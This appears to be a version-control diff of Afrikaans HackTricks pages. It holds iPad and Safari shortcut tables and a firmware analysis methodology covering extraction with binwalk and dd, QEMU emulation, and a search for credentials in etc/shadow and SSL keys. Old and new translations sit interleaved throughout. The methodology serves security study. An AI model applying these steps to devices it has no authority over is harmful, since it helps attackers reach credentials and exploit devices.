| ⌘ Space | Wys 'n lys van beskikbare tale; om een te kies, tik weer die spasie. |
### iPad navigasie
| Kortpad | Aksie |
| Skakel | Aksie |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Gaan na die Huis |
| ⌘⇧H (Bevel-Shift-H) | Gaan na die Huis |
| ⌘ (Spasie) | Maak Spotlight oop |
| ⌘⇥ (Bevel-Tab) | Lys die laaste tien gebruikte programme |
| ⌘\~ | Gaan na die laaste App |
| ⌘⇧3 (Bevel-Shift-3) | Skermkiekie (swaai in die onderste linkerkant om dit te stoor of daarop te reageer) |
| ⌘⇧4 | Skermkiekie en maak dit oop in die redakteur |
| Druk en hou ⌘ | Lys van beskikbare kortpaaie vir die App |
| ⌘⌥D (Bevel-Opsie/Alt-D) | Bring die dok op |
| ^⌥H (Beheer-Opsie-H) | Huis-knoppie |
| ^⌥H H (Beheer-Opsie-H-H) | Wys multitask-balk |
| ^⌥I (Beheer-Opsie-i) | Item-keuse |
| Escape | Terug-knoppie |
| → (Regterpyl) | Volgende item |
| ← (Linkerpyl) | Vorige item |
| ↑↓ (Op-pyl, Af-pyl) | Gelyktydig tik op geselekteerde item |
| ⌥ ↓ (Opsie-Af-pyl) | Rol af |
| ⌥↑ (Opsie-Op-pyl) | Rol op |
| ⌥← of ⌥→ (Opsie-Linkerpyl of Opsie-Regterpyl) | Rol links of regs |
| ^⌥S (Beheer-Opsie-S) | Skakel VoiceOver-spraak aan of af |
| ⌘⇧⇥ (Bevel-Shift-Tab) | Skakel na die vorige app |
| ⌘⇥ (Bevel-Tab) | Skakel terug na die oorspronklike app |
| ←+→, dan Opsie + ←
### Safari snelkoppelinge
| ⌘H | Gaan na Tuis |
| ⌘⇧H (Opdrag-Shift-H) | Gaan na Tuis |
| ⌘ (Spasie) | Open Spotlight |
| ⌘⇥ (Opdrag-Tab) | Lys laaste tien gebruikte toepassings |
| ⌘\~ | Gaan na die laaste Toepassing |
| ⌘⇧3 (Opdrag-Shift-3) | Skermskoot (hang in onderste linkerhoek om te stoor of daarop te handel) |
| ⌘⇧4 | Skermskoot en open dit in die redigeerder |
| Druk en hou ⌘ | Lys van skakels beskikbaar vir die Toepassing |
| ⌘⌥D (Opdrag-Opsie/Alt-D) | Bring die dok op |
| ^⌥H (Beheer-Opsie-H) | Tuis knoppie |
| ^⌥H H (Beheer-Opsie-H-H) | Wys multitaskbalk |
| ^⌥I (Beheer-Opsie-i) | Item keuse |
| Escape | Terug knoppie |
| → (Regter pyl) | Volgende item |
| ← (Linker pyl) | Vorige item |
| ↑↓ (Bo pyl, Onder pyl) | Terselfdertyd tik op die geselekte item |
| ⌥ ↓ (Opsie-Onder pyl) | Rol af |
| ⌥↑ (Opsie-Bo pyl) | Rol op |
| ⌥← of ⌥→ (Opsie-Linker pyl of Opsie-Regter pyl) | Rol links of regs |
| ^⌥S (Beheer-Opsie-S) | Skakel VoiceOver spraak aan of af |
| ⌘⇧⇥ (Opdrag-Shift-Tab) | Wissel na die vorige toepassing |
| ⌘⇥ (Opdrag-Tab) | Wissel terug na die oorspronklike toepassing |
| ←+→, dan Opsie + ← of Opsie+→ | Navigeer deur Dok |
| Snelkoppeling | Aksie |
| ----------------------- | ------------------------------------------------- |
| ⌘L (Command-L) | Maak Ligging Oop |
| ⌘T | Maak 'n nuwe oortjie oop |
| ⌘W | Maak die huidige oortjie toe |
| ⌘R | Verfris die huidige oortjie |
| ⌘. | Stop die laai van die huidige oortjie |
| ^⇥ | Skakel na die volgende oortjie |
| ^⇧⇥ (Control-Shift-Tab) | Beweeg na die vorige oortjie |
| ⌘L | Kies die teksinvoer/URL-veld om dit te wysig |
| ⌘⇧T (Command-Shift-T) | Maak die laaste toegegooide oortjie oop (kan verskeie kere gebruik word) |
| ⌘\[ | Gaan een bladsy terug in jou blaai-geskiedenis |
| ⌘] | Gaan een bladsy vorentoe in jou blaai-geskiedenis |
| ⌘⇧R | Aktiveer Leesermodus |
### Safari skakels
### Poskantoor snelkoppelinge
| Skakel | Aksie |
| --------------------- | ------------------------------------------------ |
| ⌘L (Opdrag-L) | Open Ligging |
| ⌘T | Open 'n nuwe tab |
| ⌘W | Sluit die huidige tab |
| ⌘R | Vernuw die huidige tab |
| ⌘. | Stop laai van die huidige tab |
| ^⇥ | Wissel na die volgende tab |
| ^⇧⇥ (Beheer-Shift-Tab) | Beweeg na die vorige tab |
| ⌘L | Kies die teksinvoer/URL veld om dit te wysig |
| ⌘⇧T (Opdrag-Shift-T) | Open laaste geslote tab (kan verskeie kere gebruik word) |
| ⌘\[ | Gaan terug een bladsy in jou blaai geskiedenis |
| ⌘] | Gaan vorentoe een bladsy in jou blaai geskiedenis |
| ⌘⇧R | Aktiveer Leser Modus |
| Snelkoppeling | Aksie |
| ------------------------------ | ------------------------------- |
| ⌘L | Maak Ligging Oop |
| ⌘T | Maak 'n nuwe oortjie oop |
| ⌘W | Maak die huidige oortjie toe |
| ⌘R | Verfris die huidige oortjie |
| ⌘. | Stop die laai van die huidige oortjie |
| ⌘⌥F (Command-Option/Alt-F) | Soek in jou posbus |
### Pos skakels
| Skakel | Aksie |
| ------------------------ | ---------------------------- |
| ⌘L | Open Ligging |
| ⌘T | Open 'n nuwe tab |
| ⌘W | Sluit die huidige tab |
| ⌘R | Vernuw die huidige tab |
| ⌘. | Stop laai van die huidige tab |
| ⌘⌥F (Opdrag-Opsie/Alt-F) | Soek in jou posbus |
# Verwysings
@ -285,16 +288,17 @@ Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,57 +1,58 @@
# Firmware-analise
# Firmware Analysis
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Inleiding**
## **Introduction**
Firmware is essensiële sagteware wat toestelle in staat stel om korrek te werk deur die hardewarekomponente en die sagteware wat gebruikers mee skakel, te bestuur en te fasiliteer. Dit word gestoor in permanente geheue, wat verseker dat die toestel vanaf die oomblik dat dit aangeskakel word, toegang kan verkry tot noodsaaklike instruksies, wat lei tot die lancering van die bedryfstelsel. Die ondersoek en moontlike wysiging van firmware is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede.
Firmware is essensiële sagteware wat toestelle in staat stel om korrek te werk deur kommunikasie tussen die hardewarekomponente en die sagteware waarmee gebruikers interaksie het, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel toegang kan verkry tot noodsaaklike instruksies vanaf die oomblik dat dit aangeskakel word, wat lei tot die opstart van die bedryfstelsel. Om firmware te ondersoek en moontlik te wysig, is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede.
## **Versameling van inligting**
## **Gathering Information**
**Versameling van inligting** is 'n kritieke aanvanklike stap om die samestelling van 'n toestel en die tegnologieë wat dit gebruik, te verstaan. Hierdie proses behels die versameling van data oor:
**Inligting versameling** is 'n kritieke aanvanklike stap in die begrip van 'n toestel se samestelling en die tegnologieë wat dit gebruik. Hierdie proses behels die versameling van data oor:
- Die CPU-argitektuur en bedryfstelsel waarop dit loop
- Spesifieke opstartlaaiers
- Hardeware-opstelling en databladsye
- Kodebasis-metriek en bronlokasies
- Die CPU-argitektuur en bedryfstelsel wat dit gebruik
- Bootloader spesifikasies
- Hardeware uitleg en datasheets
- Codebase metrieke en bronliggings
- Eksterne biblioteke en lisensietipes
- Opdateringsgeskiedenis en reguleringssertifikate
- Argitektoniese en vloeidiagramme
- Sekuriteitsassesserings en geïdentifiseerde kwesbaarhede
- Opdatering geskiedenisse en regulerende sertifikate
- Argitektoniese en vloediagramme
- Sekuriteitsassessering en geïdentifiseerde kwesbaarhede
Vir hierdie doel is **open-source intelligensie (OSINT)**-hulpmiddels van onskatbare waarde, asook die analise van enige beskikbare open-source sagtewarekomponente deur middel van handmatige en outomatiese hersieningsprosesse. Hulpmiddels soos [Coverity Scan](https://scan.coverity.com) en [Semmles LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële kwessies op te spoor.
Vir hierdie doel is **oopbron intelligensie (OSINT)** gereedskap van onskatbare waarde, sowel as die analise van enige beskikbare oopbron sagtewarekomponente deur handmatige en geoutomatiseerde hersieningsprosesse. Gereedskap soos [Coverity Scan](https://scan.coverity.com) en [Semmles LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële probleme te vind.
## **Verkryging van die firmware**
## **Acquiring the Firmware**
Die verkryging van firmware kan op verskillende maniere benader word, elk met sy eie vlak van kompleksiteit:
Om firmware te verkry kan op verskeie maniere benader word, elk met sy eie vlak van kompleksiteit:
- **Direk** van die bron (ontwikkelaars, vervaardigers)
- **Bou** dit volgens die voorsiene instruksies
- **Bou** dit volgens verskafde instruksies
- **Aflaai** van amptelike ondersteuningswebwerwe
- Gebruik van **Google-dork**-navrae om gehuisvese firmware-lêers te vind
- Direkte toegang tot **wolkstoorplek** met hulpmiddels soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Onderskepping van **opdaterings** deur middel van man-in-die-middel-tegnieke
- **Onttrekking** van die toestel deur middel van verbindings soos **UART**, **JTAG**, of **PICit**
- Gebruik **Google dork** navrae om gehoste firmware-lêers te vind
- Toegang tot **cloud storage** direk, met gereedskap soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
- Interseptering van **opdaterings** via man-in-the-middle tegnieke
- **Ekstrak** van die toestel deur verbindings soos **UART**, **JTAG**, of **PICit**
- **Sniffing** vir opdateringsversoeke binne toestelkommunikasie
- Identifisering en gebruik van **hardgekoppelde opdaterings-eindpunte**
- **Dumping** vanaf die opstartlaaier of netwerk
- **Verwydering en lees** van die stoorchip, wanneer al die ander pogings misluk, deur gebruik te maak van geskikte hardewarehulpmiddels
- Identifisering en gebruik van **hardcoded update endpoints**
- **Dumping** van die bootloader of netwerk
- **Verwydering en lees** van die stoorchip, wanneer alles anders misluk, met toepaslike hardeware gereedskap
## Analise van die firmware
## Analyzing the firmware
Nou dat jy die firmware het, moet jy inligting daaroor onttrek om te weet hoe om dit te hanteer. Verskillende hulpmiddels wat jy daarvoor kan gebruik:
Nou dat jy **die firmware het**, moet jy inligting daaroor onttrek om te weet hoe om dit te behandel. Verskillende gereedskap wat jy daarvoor kan gebruik:
```bash
file <bin>
strings -n8 <bin>
@ -60,24 +61,24 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
```
As jy nie veel vind met daardie gereedskap nie, kyk na die **entropie** van die prent met `binwalk -E <bin>`. As die entropie laag is, is dit nie waarskynlik versleutel nie. As die entropie hoog is, is dit waarskynlik versleutel (of op 'n sekere manier saamgedruk).
If you don't find much with those tools check the **entropy** of the image with `binwalk -E <bin>`, if low entropy, then it's not likely to be encrypted. If high entropy, Its likely encrypted (or compressed in some way).
Verder kan jy hierdie gereedskap gebruik om **lêers wat in die firmware ingebed is**, uit te trek:
Boonop, jy kan hierdie gereedskap gebruik om **lêers ingebed binne die firmware** te onttrek:
{% content-ref url="../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
{% endcontent-ref %}
Of [**binvis.io**](https://binvis.io/#/) ([kode](https://code.google.com/archive/p/binvis/)) om die lêer te ondersoek.
Of [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) om die lêer te inspekteer.
### Kry die Lêersisteem
### Getting the Filesystem
Met die vorige genoemde gereedskap soos `binwalk -ev <bin>` behoort jy in staat te wees om die **lêersisteem uit te trek**.\
Binwalk sit dit gewoonlik binne 'n **gids met die naam van die lêersisteem**, wat gewoonlik een van die volgende is: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
Met die vorige kommentaar gereedskap soos `binwalk -ev <bin>` behoort jy in staat te wees om die **lêerstelsel** te **onttrek**.\
Binwalk onttrek dit gewoonlik binne 'n **map genaamd soos die lêerstelseltipe**, wat gewoonlik een van die volgende is: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
#### Handmatige Lêersisteem Uittrekking
#### Manual Filesystem Extraction
Soms sal binwalk **nie die sielkundige byte van die lêersisteem in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **verskuiwing van die lêersisteem te vind en die saamgedrukte lêersisteem** uit die binêre lêer te **uitsny** en die lêersisteem handmatig uit te trek volgens sy tipe deur die volgende stappe te volg.
Soms, binwalk sal **nie die magiese byte van die lêerstelsel in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gecomprimeerde lêerstelsel** uit die binêre te **karve** en die lêerstelsel volgens sy tipe te **onttrek** met die stappe hieronder.
```
$ binwalk DIR850L_REVB.bin
@ -89,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
```
Voer die volgende **dd-opdrag** uit om die Squashfs-lêersisteem uit te snys.
Voer die volgende **dd-opdrag** uit om die Squashfs-lêerstelsel te sny.
```
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
@ -99,38 +100,38 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
```
Alternatiewelik kan die volgende bevel ook uitgevoer word.
Alternatiewelik kan die volgende opdrag ook uitgevoer word.
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
* Vir squashfs (soos in die bogenoemde voorbeeld gebruik)
* Vir squashfs (gebruik in die voorbeeld hierbo)
`$ unsquashfs dir.squashfs`
Lêers sal daarna in die "`squashfs-root`" gids wees.
Lêers sal in die "`squashfs-root`" gids wees daarna.
* CPIO-argief lêers
* CPIO argief lêers
`$ cpio -ivd --no-absolute-filenames -F <bin>`
* Vir jffs2-lêersisteme
* Vir jffs2 lêerstelsels
`$ jefferson rootfsfile.jffs2`
* Vir ubifs-lêersisteme met NAND-flits
* Vir ubifs lêerstelsels met NAND flash
`$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
`$ ubidump.py <bin>`
## Ontleding van Firmware
## Analise van Firmware
Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede daarvan te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmware-beeld te analiseer en te onttrek.
Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmware beeld te analiseer en te onttrek.
### Gereedskap vir Aanvanklike Analise
### Begin Analise Gereedskap
'n Stel bevele word verskaf vir die aanvanklike ondersoek van die binêre lêer (verwys as `<bin>`). Hierdie bevele help om lêertipes te identifiseer, strings te onttrek, binêre data te analiseer, en die partisie- en lêersisteemdetails te verstaan:
'n Stel opdragte word verskaf vir die aanvanklike inspeksie van die binêre lêer (verwys na `<bin>`). Hierdie opdragte help om lêertipes te identifiseer, stringe te onttrek, binêre data te analiseer, en die partisie en lêerstelsel besonderhede te verstaan:
```bash
file <bin>
strings -n8 <bin>
@ -139,94 +140,96 @@ hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head #useful for finding signatures in the header
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
```
Om die versleutelingsstatus van die prent te beoordeel, word die **entropie** nagegaan met `binwalk -E <bin>`. Lae entropie dui op 'n gebrek aan versleuteling, terwyl hoë entropie moontlike versleuteling of kompressie aandui.
Om die versleutelingstatus van die beeld te evalueer, word die **entropy** nagegaan met `binwalk -E <bin>`. Lae entropy dui op 'n gebrek aan versleuteling aan, terwyl hoë entropy moontlike versleuteling of kompressie aandui.
Vir die onttrekking van **ingebedde lêers**, word gereedskap en hulpbronne soos die dokumentasie van **file-data-carving-recovery-tools** en **binvis.io** vir lêerondersoek aanbeveel.
Vir die onttrekking van **embedded files**, word gereedskap en hulpbronne soos die **file-data-carving-recovery-tools** dokumentasie en **binvis.io** vir lêerinspeksie aanbeveel.
### Onttrekking van die Lêersisteem
### Onttrekking van die Filesystem
Met behulp van `binwalk -ev <bin>` kan die lêersisteem gewoonlik onttrek word, dikwels na 'n gids wat vernoem is na die lêersisteemtipe (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêersisteemtipe herken as gevolg van ontbrekende magiese bytes nie, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêersisteem se offset op te spoor, gevolg deur die `dd`-opdrag om die lêersisteem uit te sny:
Met `binwalk -ev <bin>` kan 'n mens gewoonlik die filesystem onttrek, dikwels in 'n gids wat na die filesystem tipe genoem is (bv. squashfs, ubifs). As **binwalk** egter nie die filesystem tipe kan herken nie weens ontbrekende magic bytes, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die filesystem se offset te lokaliseer, gevolg deur die `dd` opdrag om die filesystem uit te sny:
```bash
$ binwalk DIR850L_REVB.bin
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
```
Daarna, afhangende van die lêersisteemtipe (bv. squashfs, cpio, jffs2, ubifs), word verskillende opdragte gebruik om die inhoud handmatig te onttrek.
```markdown
Daarna, afhangende van die lêerstelseltipe (bv., squashfs, cpio, jffs2, ubifs), word verskillende opdragte gebruik om die inhoud handmatig te onttrek.
### Lêersisteemontleding
### Lêerstelselanalise
Met die lêersisteem onttrek, begin die soektog na sekuriteitsgebreke. Aandag word geskenk aan onveilige netwerkdaemons, hardgekoppelde geloofsbriewe, API-eindpunte, opdateringsserverfunksies, ongekompileerde kodes, opstartskripte en gekompileerde binaire lêers vir aflynontleding.
Met die lêerstelsel onttrek, begin die soektog na sekuriteitsfoute. Aandag word gegee aan onveilige netwerk daemons, hardcoded akrediteerbesonderhede, API eindpunte, opdatering bediener funksies, ongecompileerde kode, opstart skripte, en gecompileerde binêre vir offline analise.
**Belangrike plekke** en **items** om te ondersoek sluit in:
**Belangrike plekke** en **items** om te inspekteer sluit in:
- **etc/shadow** en **etc/passwd** vir gebruikersgeloofsbriewe
- SSL-sertifikate en sleutels in **etc/ssl**
- Konfigurasie- en skripslêers vir potensiële kwesbaarhede
- Ingeslote binaire lêers vir verdere ontleding
- Algemene IoT-toestel-webbedieners en binaire lêers
- **etc/shadow** en **etc/passwd** vir gebruikers akrediteerbesonderhede
- SSL sertifikate en sleutels in **etc/ssl**
- Konfigurasie en skrip lêers vir potensiële kwesbaarhede
- Ingebedde binêre vir verdere analise
- Algemene IoT toestel webbedieners en binêre
Verskeie hulpmiddels help om sensitiewe inligting en kwesbaarhede binne die lêersisteem te ontdek:
Verskeie gereedskap help om sensitiewe inligting en kwesbaarhede binne die lêerstelsel te ontdek:
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir soektog na sensitiewe inligting
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) vir omvattende lêersisteemontleding
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), en [**EMBA**](https://github.com/e-m-b-a/emba) vir statiese en dinamiese ontleding
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) en [**Firmwalker**](https://github.com/craigz28/firmwalker) vir sensitiewe inligting soektog
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT\_core) vir omvattende firmware analise
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), en [**EMBA**](https://github.com/e-m-b-a/emba) vir statiese en dinamiese analise
### Sekuriteitskontroles op Gekompileerde Binaire Lêers
### Sekuriteitskontroles op Gecompileerde Binêre
Beide bronkode en gekompileerde binaire lêers wat in die lêersisteem gevind word, moet ondersoek word vir kwesbaarhede. Hulpmiddels soos **checksec.sh** vir Unix-binaire lêers en **PESecurity** vir Windows-binaire lêers help om onbeskermde binaire lêers te identifiseer wat uitgebuit kan word.
Sowel die bronkode as gecompileerde binêre wat in die lêerstelsel gevind word, moet ondersoek word vir kwesbaarhede. Gereedskap soos **checksec.sh** vir Unix binêre en **PESecurity** vir Windows binêre help om onbeskermde binêre te identifiseer wat uitgebuit kan word.
## Emulering van Firmware vir Dinamiese Ontleding
## Emulering van Firmware vir Dynamiese Analise
Die proses van emulering van firmware maak **dinamiese ontleding** van óf 'n toestel se werking óf 'n individuele program moontlik. Hierdie benadering kan uitdagings in die vorm van hardeware- of argitektuurafhanklikhede hê, maar die oordra van die hooflêersisteem of spesifieke binaire lêers na 'n toestel met 'n ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer.
Die proses van emulering van firmware stel **dynamiese analise** in staat, hetsy van 'n toestel se werking of 'n individuele program. Hierdie benadering kan uitdagings ondervind met hardeware of argitektuur afhanklikhede, maar die oordrag van die wortellêerstelsel of spesifieke binêre na 'n toestel met ooreenstemmende argitektuur en endianness, soos 'n Raspberry Pi, of na 'n voorafgeboude virtuele masjien, kan verdere toetsing fasiliteer.
### Emulering van Individuele Binaire Lêers
### Emulering van Individuele Binêre
Vir die ondersoek van enkelprogramme is dit noodsaaklik om die endianness en CPU-argitektuur van die program te identifiseer.
Vir die ondersoek van enkele programme, is dit van kardinale belang om die program se endianness en CPU argitektuur te identifiseer.
#### Voorbeeld met MIPS-argitektuur
#### Voorbeeld met MIPS Argitektuur
Om 'n MIPS-argitektuur-binaire lêer te emuleer, kan die volgende opdrag gebruik word:
Om 'n MIPS argitektuur binêre te emuleer, kan 'n mens die opdrag gebruik:
```
```bash
file ./squashfs-root/bin/busybox
```
En om die nodige emulasiehulpmiddels te installeer:
En om die nodige emulasie-instrumente te installeer:
```bash
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
```
Vir MIPS (big-endian) word `qemu-mips` gebruik, en vir little-endian binaêre lêers sal `qemu-mipsel` die keuse wees.
For MIPS (big-endian), `qemu-mips` word gebruik, en vir little-endian binaries, `qemu-mipsel` sou die keuse wees.
#### ARM-argitektuur-emulasie
#### ARM Argitektuur Emulasie
Vir ARM-binaêre lêers is die proses soortgelyk, met die gebruik van die `qemu-arm` emulator vir emulasie.
Vir ARM binaries is die proses soortgelyk, met die `qemu-arm` emulator wat gebruik word vir emulasie.
### Volledige Sisteememulasie
### Volle Stelsel Emulasie
Hulpmiddels soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander fasiliteer volledige firmware-emulasie, outomatiseer die proses en help met dinamiese analise.
Gereedskap soos [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), en ander, fasiliteer volle firmware emulasie, outomatiseer die proses en help met dinamiese analise.
## Dinamiese Analisetegnieke in die Praktyk
## Dinamiese Analise in Praktyk
Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing gebruik vir analise. Dit is noodsaaklik om skeltoegang tot die bedryfstelsel en lêersisteem te behou. Emulasie mag nie hardeware-interaksies perfek naboots nie, wat af en toe emulasie-herstarts noodsaaklik maak. Analise moet die lêersisteem hersien, blootgestelde webbladsye en netwerkdienste uitbuit, en bootloader-kwesbaarhede ondersoek. Firmware-integriteitstoetse is krities om potensiële agterdeur-kwesbaarhede te identifiseer.
Op hierdie stadium word 'n werklike of geëmuleerde toestelomgewing vir analise gebruik. Dit is noodsaaklik om shell-toegang tot die OS en lêerstelsel te handhaaf. Emulasie mag nie perfek hardeware-interaksies naboots nie, wat af en toe emulasie-herlaai vereis. Analise moet die lêerstelsel herbesoek, blootgestelde webbladsye en netwerkdienste benut, en opstartlader kwesbaarhede verken. Firmware integriteitstoetse is krities om potensiële agterdeur kwesbaarhede te identifiseer.
## Dinamiese Analisetegnieke
## Tydren Analise Tegnieke
Dinamiese analise behels interaksie met 'n proses of binaêre lêer in sy bedryfsomgewing, deur gebruik te maak van hulpmiddels soos gdb-multiarch, Frida en Ghidra om breekpunte te stel en kwesbaarhede te identifiseer deur middel van fuzzing en ander tegnieke.
Tydren analise behels interaksie met 'n proses of binary in sy bedryfsomgewing, met behulp van gereedskap soos gdb-multiarch, Frida, en Ghidra om breekpunte in te stel en kwesbaarhede te identifiseer deur middel van fuzzing en ander tegnieke.
## Binaêre Uitbuiting en Bewys-van-Konsep
## Binary Exploitatie en Bewys-van-Konsep
Die ontwikkeling van 'n Bewys-van-Konsep vir geïdentifiseerde kwesbaarhede vereis 'n diepgaande begrip van die teikenargitektuur en programmering in laervlak-tale. Binaêre tydproteksies in ingebedde stelsels is skaars, maar wanneer dit teenwoordig is, mag tegnieke soos Return Oriented Programming (ROP) nodig wees.
